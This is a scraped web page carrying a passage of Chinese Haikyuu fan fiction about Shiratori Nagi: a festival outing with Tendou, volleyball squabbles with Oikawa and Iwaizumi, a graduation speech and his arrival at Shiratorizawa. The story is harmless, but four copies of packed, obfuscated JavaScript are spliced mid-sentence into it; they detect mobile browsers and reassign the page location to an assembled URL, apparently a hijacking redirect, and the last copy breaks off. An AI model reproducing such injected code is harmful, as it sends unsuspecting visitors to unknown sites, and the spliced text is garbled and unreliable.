摊主像是知道他在想什么，笑了笑：“好吧，我会在‘江湖’上将你的传说传递下去。” 其实他很欢迎弓箭手来玩这样一场游戏，不过看白鸟凪那心虚的样子，他也没有戳穿，只是笑着应下。 两个少年离开后，摊主伸了个懒腰： “运气真好啊……”想起那漂亮的射法八节，摊主满足的眯起眼睛，余光扫到摊位上的几个袋子，沉默片刻后，大声对着两人的背影喊道： “喂！你们两个的小吃落在我这儿了！！” 抱着天鹅抱枕笑容得意的白鸟凪表情一僵，连忙回身飞奔向他还没吃完的小吃：“我很抱歉！！” 天童觉仿佛看到有风从身边飞过，嗖的一下就消失了。 他回头，那带着天鹅面具的白发少年已经跑回了他们刚刚游戏的摊位，将他们落下的小吃取了回来。 白鸟凪快步返回，将手中的袋子递过去：“给，你的糖葫芦。” 天童觉其实已经吃饱了——他本来就不饿，又吃了可乐饼和巧克力冰淇淋，如今肚子里已经没有了属于糖葫芦的空间。 他面色有些苦的接过糖葫芦，看着袋子里的糖葫芦发呆。 包裹着山楂的糖依旧色泽诱人，从视觉上就能看出甜滋滋的糖和酸溜溜的山楂搭配起来有多美妙。 天童觉将糖葫芦从袋子里拿出来，沉默。 眼睛：你馋了。 嘴巴：你吃不下。 胃：放过我好吗？ 天童觉：麻烦你们三个统一一下意见！ 白鸟凪见他盯着糖葫芦发呆，有些好奇的歪歪头：“你在看什么？” 天童觉实话实说：“我好像吃饱了。” 这串糖葫芦还剩下大半，丢掉太可惜。 天童觉苦大仇深的盯着自己的肚子。 胃，跟你商量个事？腾个地方出来好吗？ 突然，一道人影从他眼前掠过。 天童觉有些惊讶的抬起头，看着闪现到他面前、叼住了他手中糖葫芦的白鸟凪。 两人四目相对，一个手里拿着糖葫芦眼神迷茫又困惑，一个弯腰叼着糖葫芦眼神坚定又犀利。 画面在此刻静止，像是机缘巧合的喜剧。 白鸟凪动了起来。 他牙口极好，咔嚓咔嚓的就咬下一个山楂球。 “不用客气。”白鸟凪嚼嚼嚼：“我还能帮忙。” 天童觉眨眨眼，缓缓出声：“……哦。” 真是帮了大忙了。 天童觉很快就接受了“和刚刚认识第一天的人互相分享食物”这件事，自然而然的将自己手中的糖葫芦递过去：< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15137878|164125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “辛苦了，再帮我消灭几个。” 白鸟凪：还有这种好事？ 由于他饭量大消耗快，黑丰排球部的众人几乎都投喂过他各种各样的食物，所以他早就习惯了和朋友之间互相分享食物这件事。 白鸟凪看了看自己满满当当的手，干脆弯下腰，就着小红的手吃起来： “给你留一个？” 天童觉举着手中的糖葫芦，让白鸟凪可以吃得更顺利些：“留两个吧。” 白鸟凪吃东西的样子太有食欲了，即使他一点都不饿，眼睛也没办法从糖葫芦上移开视线。 白鸟凪闻言，很快就将糖葫芦消灭到只剩下两个山楂球。 他站直身体，舔了舔嘴角的糖，扬起一抹帅气的笑容：“搞定！” 白鸟大人今天也在乐于助人！ 天童觉慢吞吞的咬了一口剩下的山楂球，果然和眼睛看到的一样，酸酸甜甜的，非常好吃。 两人继续向前走，周围的人也越来越多。 等到人最多的地方，白鸟凪也吃掉了手上最后一份章鱼小丸子，心满意足的摸了摸肚子：“吃得很饱！” 一个小时的时间里不停吃吃吃，即使每样小吃都只选了最小的份量，加在一起也是很可怕的食量了。 天童觉也终于将他手中那两个糖葫芦球吃完了……没错，他才刚刚吃完。 “今天有烟花啊。”白鸟凪听到周围人的议论声，抬头看向深蓝色的天空，喃喃道：“难怪这里这么多人。” 这里是个观看烟花的好位置。 “母上大人曾经对我说过，烟花是人造的流星。”白鸟凪看向天空，总是带着弧度的嘴角似乎又上扬了几分： “她说，对着烟花许愿和对着流星许愿是一样的。” 他声音中满是无语，又藏着极深的笑意：“把我当成小孩子哄吗？” 虽然那时的他确实是小孩子，而且是个因为看不到流星就眼泪汪汪的小孩子。 “烟花是人造的流星啊……”天童觉眨着圆圆的眼睛，意味不明的感叹道：“真是浪漫的说法。” 白鸟凪想了想童年记忆中那束在天空中炸开的绚烂烟花，点点头：“确实——” 话音未落，一束烟花呼啸着飞上天空，然后在深蓝色天空中炸开，绽放出短暂又明媚的花火。 随即，星火缓缓下落，渐渐隐没在黑暗中，消失不见。 就像是流星一样，只在空中保留瞬间的美丽。 白鸟凪抱着天鹅抱枕，表情藏在面具下。 “快许愿。” 天童觉一边双手合十，一边笑容灿烂道：“一定会实现的。” 阿凪，快许愿，妈妈向你保证，愿望一定会实现的。 白鸟凪笑起来，双手合十，闭上眼睛。 烟花很快就结束了，白鸟凪缓缓睁开眼睛，叹气：“我还有6个愿望没有许呢。” 天童觉：“……多少个？？” 白鸟凪掰着手指：“愿望清单已经在心里默念了14个，还剩6个——烟花结束的太快了。” 真不愧是人造流星。 天童觉：…… 你根本没把烟花当流星，你当烟花是许愿池呢。 20个愿望，神明们辛苦了。 “阿凪！我就知道你一定在这儿！”中岛航生努力从人群中挤过来：“我们找了你好久！” 他身后，是同样努力凑近的黑丰众人。 白鸟凪笑着摆摆手：“我在这里。” 天童觉看着黑丰众人，轻笑一声：“你的朋友们来了。” 白鸟凪转头：“我们也是朋友吧。” 天童觉露出了愉悦的表情：“你说的对。” 他将白鸟凪脸上的面具摘下来，戴在了自己的脸上：“既然是朋友的话，我也应该有新年礼物。” 随即，天童觉摆摆手，转身：“我先走了。” 白鸟凪看着即将消失在人群中的红色：“如果你不告诉我你的名字的话，我就叫你小红了。” 天童觉动作一顿，转头：“我叫天童觉。” “再见了。”天童觉再次摆摆手，这次他没有再停下。 白鸟凪小声嘀咕：“我还没有说我的名字呢。” 他有种预感，他们很快就会再见的。 “你说什么？”好不容易挤到阿凪身边的平井武好奇的问道。 白鸟凪摇摇头：“没什么。” 神秘的小红，我们下次见。 10. 宽容君 新年过后，就是更加紧张的备考。 白鸟凪反而放松了下来，每天只是按部就班的完成学习计划，然后做一些自己喜欢的事调理心情——比如排球。 于是他和及川岩泉这对形影不离的幼驯染在仙台体育馆撞了个正着。 白鸟凪和及川彻同时露出嫌弃脸。 “马上就要进行升学考试了，某人还在体育馆晃来晃去，心这么大当心落榜后只能每天哭唧唧哦。”及川彻双臂环抱在胸前，阴阳怪气道： “我们青城很愿意收留一只落榜的小白鸟。” 虽然还没升学到青城，但他进青城这件事已经板上钉钉，所以可以轻松说出“我们青城”这样的话。 白鸟凪不甘示弱，斜睨着及川：“呵，某人放心好了，白鸟大人闭着眼睛都能考进白鸟泽，倒是某人，别戴个眼镜装知识分子了好吗？你又不近视！” 及川彻：“不近视就不能戴眼镜了？！你懂不懂穿搭？” 白鸟凪：“我不懂穿搭？没人比我更懂穿搭！” 及川彻：“就你这身？” 白鸟凪：“收起你的质疑！” 两人毫无营养的吵起来。 岩泉一在旁边一脸无语的双手插兜，看着两人幼稚的菜鸡互啄。 不管现在穿的什么，等下都要换成运动服和排球鞋，所以他们到底在吵什么？ “喂喂，还记得你们是来干什么的吗？”岩泉一看了一眼时间，提醒道：“要不你们先吵着，我去打排球了。” 及川彻：“岩酱！等等我！” 白鸟凪：“岩泉你别走！你来评价一下我和及川的穿搭到底哪个更帅！” 及川彻叉腰：“当然是我的更帅！” 白鸟凪不屑：“你出门没照镜子吗？” 两人对视一眼，火花四溅，战斗再一次开始了。 岩泉一满头黑线。 “别吵了——”岩泉一双拳出击，对准两个脑袋，每人一个暴捶：“给我安静一点！” 白鸟凪捂着头，缓缓蹲下来，露出蛋花眼：“为什么我也要挨揍？岩泉你不是从来都只揍及川的吗？” 及川彻也抱着头蹲下来，闻言再次被白鸟凪气得跳脚：“原来你跟我吵架，是打着让岩酱揍我的主意！太阴险了白鸟！” 白鸟凪瞥了及川一眼：“比起阴险的话我们半斤八两。” 密恐患者看了及川的心眼子都得做噩梦。 岩泉一面无表情的再次举起拳头。 瞬间，两人都老实了。 “我们是来打排球的，很久不打手有点生。”岩泉一出声道：“白鸟你是来干什么的？” 他和及川最近一直在备考，虽然已经拿到了青叶城西的特招名额，但他们还是决定去参加入学考试——特招名额可以拿来当做planB。 白鸟凪站起身：“来体育馆，当然是打排球了。” 他也很久没有打排球了，体能训练倒是一直在坚持，只是他还是很想念排球的手感。 大家找回了自己的目的，便各自散开，寻找自己打算加入的野球队。 至于他们三个为什么不在一起打排球……就像及川彻绝对不会和牛岛若利同队打排球一样，白鸟凪也绝对不会和及川彻同队打排球。 并不是互相讨厌，而是更复杂的情绪——他们更希望以对手的身份站在赛场上，仅此而已。 或许是宿敌之间的磁场在作祟，白鸟凪和及川岩泉各自加入的野球队，成功在排球上场碰面了。 当然，是隔网相见。 白鸟凪露出了凶残的笑容：“啧啧，看来今天就是白鸟大人打败混蛋及川的好日子啊。” 及川彻撇撇嘴，一脸不屑道：“你上一次输给我的时候也这么自信，真希望你能一直这么自信。” 白鸟凪：……可恶的及川！ 然后拳头邦硬的白鸟凪又一次输给了及川。 白鸟凪和及川彻在各自位置上都是县内佼佼者，身边的队友也大多都是第一次见面的陌生人，实力水平上也大差不差。 在这样的情况下输掉比赛，原因只有一个。 “你们两个之间的默契太bug了。”白鸟凪郁闷道：“幼驯染真可恶啊。” 及川彻和岩泉一，两人从小一起长大的默契，足以爆发出一加一大于三的实力。 及川彻得意的晃了晃手指：“吃不到葡萄就说葡萄酸。” 幼驯染就是最默契的搭档！你这个没有幼驯染的家伙就羡慕嫉妒恨吧！ 白鸟凪：……混蛋及川，打一架吧！ 白布，上麻袋和闷棍！ …… 三人又打了几场野球赛，偶尔白鸟凪匹配上了厉害的队友时，也能赢上几场比赛。 但总的来说，白鸟凪输多赢少。 他盘腿坐在墙角恢复体力，手指摩挲着运动水瓶，眼睛一直在盯着场内——观察赛场并更新自己的技能树，是他一直在坚持做的训练。 及川彻同样在观察几支队伍的战术配合，大脑不断运作着，进行脑内模拟赛。 岩泉一看着两人疯狂燃烧CPU的样子，沉默。 这就是脑力型选手的修炼吗…… 白鸟凪完成了必要的学习后，收回视线，开始抱着运动水瓶吨吨吨。 及川彻也收回视线，看着正在喝水的白鸟凪，突然问道：“你选择白鸟泽，不会是因为你姓白鸟的原因吧？” 白鸟凪顿时被水呛得连连咳嗽。 及川彻眨眨眼，似乎很无辜的样子：“啊呀，抱歉，忘了你在喝水了。” 白鸟凪一边咳嗽一边瞪及川。 及川这混蛋家伙绝对是故意的！ “主要原因确实是这个。”白鸟凪接过岩泉一递来的纸巾，道了声谢后先是抽出几张擦干地板，随后才又抽出一张纸一边擦嘴一边慢条斯理道： “至于其他的原因嘛……” 及川彻做出一副洗耳恭听的样子，他确实很好奇白鸟凪坚持选择白鸟泽的原因。 听入畑教练说，鹫匠教练为了不影响白鸟的未来发展，还专门找上黑丰尝试劝退白鸟。 当然，最终的结果就是鹫匠教练劝退失败，白鸟小犟种一意孤行，偏要尝尝白鸟泽这个瓜到底是什么味的。 ……苦的，白鸟泽绝对是苦瓜！ 及川彻暗暗腹诽。 白鸟凪露出邪恶微笑：“白鸟泽国中排球队揍了你三年，光这一点就足够我对白鸟泽好感爆表了。” 及川彻：……混蛋！白鸟大混蛋！ 不管是白鸟泽还是白鸟凪，都很混蛋！ 岩泉一盘腿坐在地板上，单手撑着下巴：“既然白鸟你已经做出决定了……未来在赛场上碰面，我们都要全力以赴。” 及川彻不会加入白鸟泽一样，白鸟凪也不会加入青叶城西。 由于及川的情商甩牛岛十条街，所以及川和白鸟虽然看上去一见面就针锋相对，但两人的关系其实还不错……嗯，虽然看不出来，但真的很不错。 因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15146063|164125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此，岩泉一也想过，或许白鸟可能会成为他们的队友。 “没可能的。”听到他的想法，及川摇摇头。 他对白鸟的了解，像了解自己一样深刻。 他们有着同样的骄傲和自尊，他们永远无法成为单纯的朋友。 宿敌？这样的关系就很适合他们。 岩泉一想，或许这就是最好的答案。 有时敌友之间的界限并不清晰，他们身处于中间的模糊地带，这个距离刚好足够他们在赛场上绞尽脑汁的想要战胜对方。 白鸟凪扬起嚣张的笑容：“当然，请全力以赴然后灰溜溜的输给我吧！” 及川彻将手中的运动水瓶捏到变形：“是你输！” “你们输！” “你输！” 岩泉一死鱼眼，五指收紧，攥成拳头。 还是欠揍，两个都是。 …… 今日份排球训练量达标，白鸟凪向两人摆摆手：“再见。” 及川彻将双手圈成喇叭状：“明天也要记得来输给我啊！” 白鸟凪顿时火冒三丈：“我今天也有赢！” 及川彻笑眯眯道：“你输多赢少，我赢多输少。” 白鸟凪：……可恶！ 他是一个认输但不服输的人，所以面对及川那张可恶的笑脸时，他只能放下狠话：“明天你等着！” 及川彻敷衍似的点点头：“行行行，我等着。” 白鸟凪：……更气了！ 白鸟凪气哼哼的转身离开，不再看及川那张可恶的脸。 及川再这样下去，早晚会被套麻袋的……明天他就带着白布来，套及川的麻袋敲闷棍！ 及川彻看着白鸟的背影，声音笃定：“我敢打赌，白鸟这家伙一定在想怎么套我麻袋。” 岩泉一故作惊讶：“没想到你对自己拉仇恨的本事还是很有自知之明的。” 及川彻理直气壮：“白鸟这么讨厌我，怎么想都是白鸟的错！” 岩泉一盯：……你的嘴欠至少要负一半的责任。 及川彻盯回去：每次都是白鸟先挑衅好吗！ 岩泉一：…… 也是，这两人在同一个空间里超过十秒钟就会闹到掀房顶，想让他们和平共处，大概是没可能了。 两人一起向家的方向走去，边走边聊天。 岩泉一用手指晃着钥匙圈：“我以为你会很讨厌和你同类型的人。” 他声音顿了顿，又道：“不过你好像并不讨厌白鸟。” 有时候，吵架也是关系好的一种体现，虽然这种友谊形式过于吵闹了。 及川彻动作微顿，下意识反驳道：“谁说我不讨厌他？我超讨厌的好吗！” 岩泉一：盯—— 及川彻避开岩酱那“我已经看透你了，承认吧傲娇怪其实你并不讨厌白鸟”的眼神。 好吧，他承认，他确实不讨厌白鸟——但也没有喜欢，仅仅是不讨厌而已！ 仔细想想，如果有一个人和他的性格很相像，能力也差不多的话，他会不会讨厌那个人呢？ ……一定会的，越是和他相似的人，和他的相性就越差。 及川彻想了很久，终于想到了“不讨厌白鸟”的原因。 他一脸安详：“大概是因为我对手下败将格外宽容吧。” 一想到白鸟这家伙输给他整整三年，他对白鸟就完全讨厌不起来呢。 岩泉一：…… 白鸟一定很讨厌你，及川。 11. 毕业君 自从在体育馆遇到及川岩泉后，白鸟凪每一次到体育馆打排球放松心情的时候总能遇到他们。 然后就如同循环般龇牙、吵架、被岩泉揍。 白鸟凪捂着脑袋，看向及川脑袋的目光中满是不可思议。 岩泉只是最近偶尔揍他几次，所以脑袋还能扛得住。 及川这家伙可是和岩泉从小一起长大，换句话说，及川被岩泉从小揍到大！ 及川的脑袋是什么材质的？这么抗揍？ “要不还是去医院拍个片检查一下吧，我猜你头骨是不锈钢的。”白鸟凪捂着脑袋一脸认真的说道：“换成普通人，早就被揍傻了。” 最强重拳岩泉一和最硬头骨及川彻，怎么不算是另一种意义上的“破开一切防御的矛”和“防住一切攻击的盾”呢？ 至于为什么是不锈钢……当然是因为及川的脑袋里都是水啊哈哈哈哈！ 白鸟凪在心中嚣张大笑。 及川彻在岩酱的高压视线下，只能将白鸟的话当做夸赞了：“哼，你还是担心一下你自己吧，别被岩酱揍傻了。” 白鸟凪顿时气得跳起来：“哈？！白鸟大人才不是普通人好吗！！” 他对着岩泉一指着自己的脑袋，十分豪放：“岩泉，瞄准这揍，我的脑袋绝对比及川还要硬！” 岩泉一：……啧，好像已经揍傻了。 下次揍白鸟的时候下手再轻一分力。 及川彻太了解岩酱了，见岩酱露出一言难尽的表情，顿时露出了拱火的微笑：“岩酱一定在想‘糟糕了白鸟被我揍傻了，下次揍他的时候轻一点’这样的事。” 及川彻得意叉腰：“白鸟，你还差的远呢。” 白鸟凪：……奇怪的胜负欲燃起来了！ “岩泉！你下次揍我的时候必须用和揍及川时一样的力量——不，要比揍及川时更用力！”白鸟凪指着自己的脑袋：“这里，很行！” 及川彻啧啧两声，也指了指白鸟的脑袋：“这里，不行！” 于是两人又吵了起来。 岩泉一：……好吵啊，这两个家伙凑在一起的时候真的好吵啊！ 最终，岩泉一向白鸟保证，下次揍他的时候绝对用和揍及川时一样的力道，这才让白鸟勉强安静下来。 岩泉一松了口气。 吵得他耳朵都疼了。 白鸟凪就在这样鹅飞孔雀跳的日常中，迎来了自己的升学考试。 他心态平稳的坐在考场上，看着桌面上那张卷子。 白鸟泽是宫城县内偏差值最高的私立学校之一。 白鸟凪拿起笔，开始了这场前往白鸟泽排球部的考验。 白鸟泽排球部不欢迎他？ 没关系，他会凭借自己的实力拿到入场券。 …… 各个高中的升学考试结束之后，国三生迎来了他们的毕业季。 毕业典礼上，白鸟凪作为优秀毕业生，代表三年级毕业生进行演讲。 他提前写好了稿子，可当他站在台上时，对上一双双或是陌生或是期待的眼睛，白鸟凪突然就不想念出自己精致了措辞的演讲稿了。 白鸟凪将自己手中的演讲稿扣在了演讲台上，单手扶住了麦克风。 黑丰中学的教师组中，几位教过白鸟的老师表情沉重的捂住了脸。 老师们担心了很久的事，终于在这个严肃中带着一点点忧伤的场合里发生了。 白鸟，你可不可以不搞事！ 白鸟凪：不可以，就要搞事！ “原本我准备了一篇非常完美的演讲稿。”白鸟凪的声音很轻灵，是如清风般爽朗的少年音，被扩音设备放大后，每个字都清晰的钻进了学生们的耳朵。 “但当我站在这里时，我突然想讲一些演讲稿上没有写的话。” 教导主任瞥了一眼校长的脸色，脚步向前迈出一步，做出想要阻止的态度。 校长单手拦下了教导主任，并白了他一眼：“别演了，你当初选白鸟作为优秀毕业生代表的时候，也无视了白鸟身上那些不轻不重的处分吧？” 现在还装什么严肃古板？你敢说眼前这一幕你没预想过？ 教导主任轻咳一声，心虚的移开目光。 诚然，他确实是每天追着白鸟吼，将白鸟的通报批评挂在通报板上的正中央，每次都是一副被白鸟气晕的表情。 但白鸟的“活泼”也只是一些不会影响任何人的顽皮，而他的优秀依旧熠熠生辉，值得被视作榜样来学习。 所以，即使教导主任知道，将代表毕业生发言的这个任务交给白鸟后，很大概率会发生一些他意想不到的事，但他还是选择了白鸟。 在白鸟上台演讲的同时，教学楼内的通报板正中央，还贴着白鸟的通报批评。 果不其然，白鸟要搞事了。 教导主任用自己被白鸟气了三年、气到异常平和的心态来保证，白鸟虽然顽皮，但不会再这样的场合下胡闹。 白鸟凪一手摁在被自己抛弃的演讲稿上，一手扶着麦克风，姿态轻松又潇洒。 在众人的注视下，他再次开口：“先做个自我介绍，大概所有关注过通报板的人都知道我的名字——没错，我就是那个通报板常驻C位，连续三年蝉联‘最佳通报批评格式奖’的3年1组白鸟凪。” “顺便一提，我的所有通报批评都是我自己写的……教导主任，太会偷懒了。” 教导主任脸一黑，拳头握得梆硬。 什么叫偷懒？我只是想让你通过写检讨这个行为深刻意识到自己的错误！ 校长眼里写满了幸灾乐祸，乐呵呵的看着教导主任：让你力排众议选白鸟当毕业生代表？后悔了吧！ 教导主任：……后悔了！ 很快的，校长发现白鸟凪的杀伤力将平等创飞所有人。 “我在黑丰中学度过了比想象中还要美好的三年——我见过校长偷偷捧着自己的鱼缸到学校后花园那里，眼泪汪汪的埋葬自己死掉的金鱼。” 白鸟凪诚恳道：“三天换次水，七天换批鱼，鱼的命也是命啊，校长，您还是喂喂后山的猫猫算了，猫猫们比较聪明，会自己养自己。” 校长脸上的笑容一僵，开始浑身冒黑气。 他就是喜欢养鱼，怎么了？！ 台下，坐在礼堂的学长们窃窃私语。 “我也见过校长埋鱼！” “好像确实一两周就能看到一次埋鱼的校长……” “像固定刷新的npc一样呢！” “放过鱼吧，校长！” “校长是真的很喜欢鱼，每次都要为可怜的鱼们默哀许久。” “喜欢的话就不要再养了…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15151108|164125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “没有喜欢就没有伤害！” 学生们对白鸟的演讲开始共情，眼里也渐渐流露出对黑丰中学的不舍。 白鸟凪的演讲还在继续： “国文老师经常说，学海无涯苦作舟，不辛苦是没有办法真正的理解和掌握知识的……于是他带着我们去挖野菜、去踏青，去在快乐中寻找‘夕阳无限好，吾辈须慎行，切莫误年华’。” 国文老师别过头，小声嘀咕：“这小混蛋，说的比唱的还好听……还挖野菜，他明明只挖了一筐野草。” 还狡辩说要效仿“神农尝百草”，傻乎乎的掐一根草叶往嘴里塞，气得他敲了白鸟一个爆栗。 英语老师嘴角微抽：“白鸟送给我的那盆野草盆栽，不会就是你们课外实践时白鸟挖到的野草吧？” 国文老师怜悯的看了英语老师一眼：“白鸟当天下午就将自己挖到的那筐野草全部都种成盆栽，送给了自己所有的任课老师。” 数学老师、体育老师等人也露出了复杂的表情。 白鸟送来的野草盆栽生命力出奇的旺盛，一茬枯萎后另一茬也会长起来，生生不息。 就像白鸟这个小混蛋一样。 其他几位老师们也听到了白鸟一一感谢他们，并且拿出了更多有趣的故事。 那是他们师生之间共同经历过的美好瞬间。 台下的学生们神色专注，眼睛里倒映着自己在这所学校学习生活的一幕又一幕。 快乐和苦恼交织的回忆，共同组成了他们三年的青春。 白鸟凪将所有的老师都感谢一遍后，才正式进入演讲正题： “黑丰中学的毕业证书是我们通往下一阶段人生的邀请函，希望我们都在这张毕业证书上留下过足够精彩的故事。” 他眉毛微挑，白色的发丝在灯光下折出细碎的光。 “我的故事留在了通报板和排球场上，你们的故事也许路过了操场和走廊。” “在不远的未来，大家会在不同的地方留下新的故事。” 精致的眉眼中化开了轻松愉悦的情绪，让那双茶金色的眼睛更加明亮： “我们切莫负年华。” …… 白鸟凪在掌声中走下演讲台，下巴微微抬起，明明是有些傲慢的姿态，由他做起来却给人一种理所当然的感觉。 他就应该是张扬的、高傲的，配得上一切美好。 于是他落入了一个温暖的怀抱。 “恭喜毕业，阿凪。”白鸟千代抱了抱比她高了半头的儿子，如雪一般的白色短发有些凌乱，似乎是被风吹过，还没来得及打理。 白鸟凪惊讶的瞪大了眼睛，仿佛刚刚在演讲台上帅气发言的人不是他一样：“你怎么回来了……我是说，你竟然真的回来了？” 他的话有些颠三倒四，但声音里还是带着藏不住的惊喜。 白鸟千代挑眉，竟然和白鸟凪在台上挑眉时的神情如出一辙：“你的毕业典礼，我当然要参加。” 她指了指学生家长席的方向：“我去那里了，等毕业典礼结束，我们再拍毕业照。” 白鸟凪顺着妈妈手指的方向看过去，外公外婆正坐在那里对他招手。 他嘴角上扬：“好，我们拍毕业照。” 关于这所学校，他还有好多故事可以讲给他的家人听。 12. 升学君 毕业典礼结束，白鸟凪先是拖着外公外婆和妈妈一起去体育馆。 “这是我超级无敌棒的队友们！”白鸟凪指着黑丰排球部众人，其中几个同样胸前戴着代表毕业生的胸针。 平井武看着白鸟一家的雪白发色，忍不住在心中感叹：这就是基因的力量吗？ 一家人都有这样漂亮的头发。 白鸟梨沙子：不，我只是年纪到了又不喜欢染头而已，白毛是白鸟家的遗传基因，我年轻时可是有着一头漂亮的黑头发。 对待自家孩子的友人，白鸟一家人拿出了十分友善的态度，夸得黑丰排球部的少年们面红耳赤，连连摆手。 白布贤二郎看着脸不红气不喘的白鸟学长，终于了悟：难怪白鸟学长是一个没有夸夸就会枯萎的究极天鹅男。 白鸟学长在家时一定是被夸夸淹没的幸福小孩吧。 想到这，他再次担忧起白鸟学长在白鸟泽的生活。 白鸟凪眼珠一转，抬手示意家人看向那个正在发呆的妹妹头斜刘海少年：“这是我们黑丰排球部最最最能干的二传手，白布！” 白鸟家整齐划一的看向斜刘海妹妹头、名叫白布的少年，一迭声的夸赞直接糊了白布一脸。 白布贤二郎：……被夸赞糊脸的感觉好窒息。 这样高强度的夸夸，白鸟学长竟然没有长歪掉。 白鸟学长果然还是太强了。 中岛航生到到外面随便抓了个教导主任进来，帮他们拍一张在体育馆内的合影。 教导主任：…… 他最终还是举起了白鸟大辅准备的相机，将摄像头对准了这群少年和少年们的家长。 镜头里，每一张笑脸都印在了他的眼睛里。 合照后，白鸟凪又带着外公外婆和妈妈走遍了黑丰中学的每一个角落，生动形象的向他们讲起他曾在这里发生了怎样的故事。 他的家人是最好的听众，会认真倾听他在这所学校里的每一个成长瞬间。 然后，他们白鸟一家在校门口合影。 在春暖花开的季节，白鸟凪毕业了。 …… 三月末，白鸟凪一个人来到白鸟泽。 虽然他早早就决定了报考白鸟泽，但他从来没有提前来亲眼看过这所学校。 白鸟凪相信县内首屈一指的私立高中在教学资源上绝对不会差，无论是环境还是师资力量都没什么可担心的。 所以这是他第一次见到白鸟泽学园的全貌。 “这所学校看上去真有钱啊……”白鸟凪站在校门口喃喃自语：“也是，毕竟是白鸟泽。” 此时正处于春假期间，但白鸟泽学园已经聚集了一批数量不少的学生们。 他们围在榜前，在榜单上寻找自己的名字。 白鸟凪很轻易的便从中找到了自己的名字，满意的点点头。 他转身，不小心撞到了人。 “抱歉……”白鸟凪连忙道歉。 “白鸟凪？” 大平狮音有些惊讶的看着不小心撞到他的白发少年。 这个发色太有辨识度了。 白鸟凪想了想，从记忆中找出这个人：“大平狮音？” 两人都很惊讶对方能叫出自己的名字。 十分钟后，两人坐在了学校附近的快餐店，一人捧着一杯奶昔。 “我看过黑丰和北川第一半决赛的那场比赛。”大平狮音笑容温和的解释道：“你打得很好。” 用“很好”来夸赞，似乎有些平淡了。 大平狮音想，那应该是相当惊艳的一球。 像是洞悉了对手的全部防守调度一样，扣球以一种极限且刁钻的角度切进了北川第一的阵地，砸在了北川第一的防守连接点上。 那绝对不是运气的一球，其中前置的种种部署，包括队友的诱饵战术、二传手的托球节奏等等，最终造就了白鸟凪那神乎其技般的进攻。 大平狮音还在思考，该如何描述才能将当初惊艳他的那一球完整的夸赞出来。 白鸟凪却被这声“很好”成功取悦，眼睛笑成了两道弯弯的小月牙：“你很有眼光！” 没错，他就是排球打得很好！ 白鸟大人宣布，你将会成为白鸟大人在白鸟泽的第一个好朋友！ 大平狮音微愣，随即笑容渐深：“嗯，我很有眼光。” 这个白鸟，或许比自己想象中的还要有趣。 “你是怎么知道我的名字的？”大平狮音有些好奇。 白鸟凪喝了一口奶昔，甜甜的，很好喝：“我看过白鸟泽国中部和北川第一的比赛。” 很巧，他们两个都是通过观看比赛认识对方的。 就像是北川第一不只有及川彻，还有王牌岩泉一一样，白鸟泽国中部也不只有王牌牛岛若利，还有副炮大平狮音。 而且是少见的、没有被牛岛若利的光芒所掩盖的主攻手。 “充满力量的重扣，无视拦网的进攻，令人印象深刻。” 白鸟凪感叹道：“你们白鸟泽真的很喜欢一力降十会的打法。” 大平狮音笑道：“你们白鸟泽？现在应该说成我们白鸟泽了。” 他看到了白鸟凪的名字挂在榜单上。 白鸟凪微怔，随即笑起来：“你说的对，现在应该说‘我们白鸟泽’了。” 两人同时高举手中的奶昔杯，轻轻的碰了一下。 “用奶昔做碰杯的动作会不会有点太幼稚了？” “哪里幼稚了！白鸟大人做什么都是最帅气的！” “好吧，帅气的白鸟大人。” “……狮音，我很欣赏你！” 白鸟凪一脸感动：“你真是一个好人啊！” 只是随口夸了白鸟一句的大平狮音：“……只是一句帅气就换回一张好人卡，好值。” 白鸟凪叼着吸管，含糊不清道：“我的好人卡可不是随便发给别人的，你确实赚大了。” 大平狮音再次被白鸟逗笑——似乎只要在白鸟的身边，就没有什么值得苦恼的事。 “那我要努力一点，多从白鸟你那里拿到几张好人卡才行。”大平狮音笑道。 白鸟凪手指敲了敲奶昔杯：“叫我阿凪就好。” 好朋友就是要互相称呼名字！ 大平狮音从善如流：“好啊，阿凪。” 只是第一次见面，就到了互相称呼名字的程度，这种社交效率在他截止目前的人生中，真是少见的场面。 大平狮音也喝了一口奶昔，甜甜的饮品在舌尖化开。 他不讨厌这样的“高效率”。 …… 白鸟凪和大平狮音聊了许久，关于排球，关于队伍，关于白鸟泽。 直到太阳快要落山时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 